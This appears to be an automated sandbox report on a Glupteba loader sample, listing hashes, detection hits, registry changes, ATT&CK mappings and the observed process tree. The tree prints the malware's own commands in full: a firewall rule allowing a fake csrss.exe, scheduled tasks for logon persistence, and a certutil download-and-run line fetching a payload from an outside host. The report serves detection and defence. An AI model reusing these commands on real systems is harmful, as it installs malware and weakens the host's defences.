glupteba | 5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52

General

Target

5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
Size

3.8MB
MD5

16b3bac20c0e5bcbfbe25b27943ea01f
SHA1

84c62588bb877af56d7b2376c8f3e22834d414a1
SHA256

5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52
SHA512

280f2d8fbdb854a17fa2381826d0a0a12f38aa1d46959e96e05081dfac13be002df14ca3869acb4f508d7f24f68de59d4da1db0220b90c4aba2bf4db6aedb030

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1608-131-0x00000000047B0000-0x0000000004FB4000-memory.dmp	family_glupteba
behavioral2/memory/1608-132-0x0000000000400000-0x00000000025C0000-memory.dmp	family_glupteba
behavioral2/memory/1608-134-0x0000000000400000-0x00000000025C0000-memory.dmp	family_glupteba
behavioral2/memory/964-136-0x0000000000400000-0x00000000025C0000-memory.dmp	family_glupteba
behavioral2/memory/964-142-0x0000000000400000-0x00000000025C0000-memory.dmp	family_glupteba
behavioral2/memory/2812-144-0x0000000000400000-0x00000000025C0000-memory.dmp	family_glupteba
behavioral2/memory/2812-150-0x0000000000400000-0x00000000025C0000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3832 created 1608	3832	svchost.exe	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
PID 3832 created 2812	3832	svchost.exe	csrss.exe
PID 3832 created 2812	3832	svchost.exe	csrss.exe
PID 3832 created 2812	3832	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

2812 csrss.exe
1636 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1172 netsh.exe

pid	process
2812	csrss.exe
1636	patch.exe

pid	process
1172	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PurpleBush = "\"C:\\Windows\\rss\\csrss.exe\""	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1976 bcdedit.exe

pid	process
1976	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe

description	ioc	process
File opened for modification	C:\Windows\rss	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
File created	C:\Windows\rss\csrss.exe	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4352 schtasks.exe
4604 schtasks.exe

pid	process
4352	schtasks.exe
4604	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.execsrss.exe

pid	process
1608	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
1608	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
2812	csrss.exe
2812	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1608	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
Token: SeImpersonatePrivilege	1608	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
Token: SeTcbPrivilege	3832	svchost.exe
Token: SeTcbPrivilege	3832	svchost.exe
Token: SeBackupPrivilege	3832	svchost.exe
Token: SeRestorePrivilege	3832	svchost.exe
Token: SeBackupPrivilege	3832	svchost.exe
Token: SeRestorePrivilege	3832	svchost.exe
Token: SeBackupPrivilege	3832	svchost.exe
Token: SeRestorePrivilege	3832	svchost.exe
Token: SeBackupPrivilege	3832	svchost.exe
Token: SeRestorePrivilege	3832	svchost.exe
Token: SeSystemEnvironmentPrivilege	2812	csrss.exe
Token: SeBackupPrivilege	3832	svchost.exe
Token: SeRestorePrivilege	3832	svchost.exe
Token: SeBackupPrivilege	3832	svchost.exe
Token: SeRestorePrivilege	3832	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.execmd.execsrss.exe

description	pid	process	target process
PID 3832 wrote to memory of 964	3832	svchost.exe	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
PID 3832 wrote to memory of 964	3832	svchost.exe	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
PID 3832 wrote to memory of 964	3832	svchost.exe	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
PID 964 wrote to memory of 4892	964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe	cmd.exe
PID 964 wrote to memory of 4892	964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe	cmd.exe
PID 4892 wrote to memory of 1172	4892	cmd.exe	netsh.exe
PID 4892 wrote to memory of 1172	4892	cmd.exe	netsh.exe
PID 964 wrote to memory of 2812	964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe	csrss.exe
PID 964 wrote to memory of 2812	964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe	csrss.exe
PID 964 wrote to memory of 2812	964	5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe	csrss.exe
PID 3832 wrote to memory of 4352	3832	svchost.exe	schtasks.exe
PID 3832 wrote to memory of 4352	3832	svchost.exe	schtasks.exe
PID 3832 wrote to memory of 4604	3832	svchost.exe	schtasks.exe
PID 3832 wrote to memory of 4604	3832	svchost.exe	schtasks.exe
PID 3832 wrote to memory of 1636	3832	svchost.exe	patch.exe
PID 3832 wrote to memory of 1636	3832	svchost.exe	patch.exe
PID 2812 wrote to memory of 1976	2812	csrss.exe	bcdedit.exe
PID 2812 wrote to memory of 1976	2812	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
"C:\Users\Admin\AppData\Local\Temp\5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Users\Admin\AppData\Local\Temp\5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe
"C:\Users\Admin\AppData\Local\Temp\5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4892

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:1172

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4352

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4604

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:1636

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3832

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
16b3bac20c0e5bcbfbe25b27943ea01f

SHA1
84c62588bb877af56d7b2376c8f3e22834d414a1

SHA256
5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52

SHA512
280f2d8fbdb854a17fa2381826d0a0a12f38aa1d46959e96e05081dfac13be002df14ca3869acb4f508d7f24f68de59d4da1db0220b90c4aba2bf4db6aedb030

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
16b3bac20c0e5bcbfbe25b27943ea01f

SHA1
84c62588bb877af56d7b2376c8f3e22834d414a1

SHA256
5186b312cb24ae2294667e934975472ae5ef971d23c8290455273fbb1a263f52

SHA512
280f2d8fbdb854a17fa2381826d0a0a12f38aa1d46959e96e05081dfac13be002df14ca3869acb4f508d7f24f68de59d4da1db0220b90c4aba2bf4db6aedb030

Download Submit
memory/964-135-0x0000000004248000-0x00000000045F0000-memory.dmp

Filesize
3.7MB

Download
memory/964-133-0x0000000000000000-mapping.dmp

Download
memory/964-142-0x0000000000400000-0x00000000025C0000-memory.dmp

Filesize
33.8MB

Download
memory/964-136-0x0000000000400000-0x00000000025C0000-memory.dmp

Filesize
33.8MB

Download
memory/1172-138-0x0000000000000000-mapping.dmp

Download
memory/1608-131-0x00000000047B0000-0x0000000004FB4000-memory.dmp

Filesize
8.0MB

Download
memory/1608-132-0x0000000000400000-0x00000000025C0000-memory.dmp

Filesize
33.8MB

Download
memory/1608-130-0x0000000004405000-0x00000000047AD000-memory.dmp

Filesize
3.7MB

Download
memory/1608-134-0x0000000000400000-0x00000000025C0000-memory.dmp

Filesize
33.8MB

Download
memory/1636-147-0x0000000000000000-mapping.dmp

Download
memory/1976-149-0x0000000000000000-mapping.dmp

Download
memory/2812-139-0x0000000000000000-mapping.dmp

Download
memory/2812-143-0x0000000004600000-0x00000000049A8000-memory.dmp

Filesize
3.7MB

Download
memory/2812-144-0x0000000000400000-0x00000000025C0000-memory.dmp

Filesize
33.8MB

Download
memory/2812-150-0x0000000000400000-0x00000000025C0000-memory.dmp

Filesize
33.8MB

Download
memory/4352-145-0x0000000000000000-mapping.dmp

Download
memory/4604-146-0x0000000000000000-mapping.dmp

Download
memory/4892-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads